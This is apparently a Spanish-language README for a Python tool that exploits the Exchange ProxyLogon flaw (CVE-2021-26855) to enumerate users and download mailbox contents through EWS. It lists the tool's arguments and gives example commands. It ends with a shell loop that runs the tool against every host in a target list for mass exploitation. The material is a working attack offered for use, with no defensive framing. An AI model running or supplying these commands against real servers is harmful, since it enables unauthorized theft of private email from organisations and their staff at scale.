mr-xn/cve-2021-26855-dHerramienta de Python para explotar CVE-2021-26855 (ProxyLogon) para descargar correos electrónicos de buzones de Exchange a través de EWS, compatible con enumeración de usuarios y escaneo masivo de objetivos.
Uso básico: python owamails.py -u <url> -l <users.txt> -p <path>
argumentos opcionales:
-h, --help show this help message and exit
-u URL, --url URL Url, provide schema and not final / (eg
https://example.org)
-l LIST, --list LIST Users mailbox list
-p PATH, --path PATH Path to write emails in xml format
-f FQDN, --fqdn FQDN FQDN
-d DOMAIN, --domain DOMAIN
Domain to check mailboxes (eg if .local dont work)
Verificar buzones de correo y descargar correos electrónicos
básico:
python owamails.py -u https://127.0.0.1 -l users.txt -p downloads
no obtener dominio de los encabezados:
python owamails.py -u https://127.0.0.1 -l users.txt -p downloads -d mydomain.local
no obtener FQDN de los encabezados:
python owamails.py -u https://127.0.0.1 -l users.txt -p downloads -f EXCH01
¿masivo?:
for i in $(cat targets.txt); do echo $i && python3 owamails.py -u https://$i -l users.txt -p emails; done;
Referencias:
fork de: https://gitlab.com/gvillegas/ohwaa/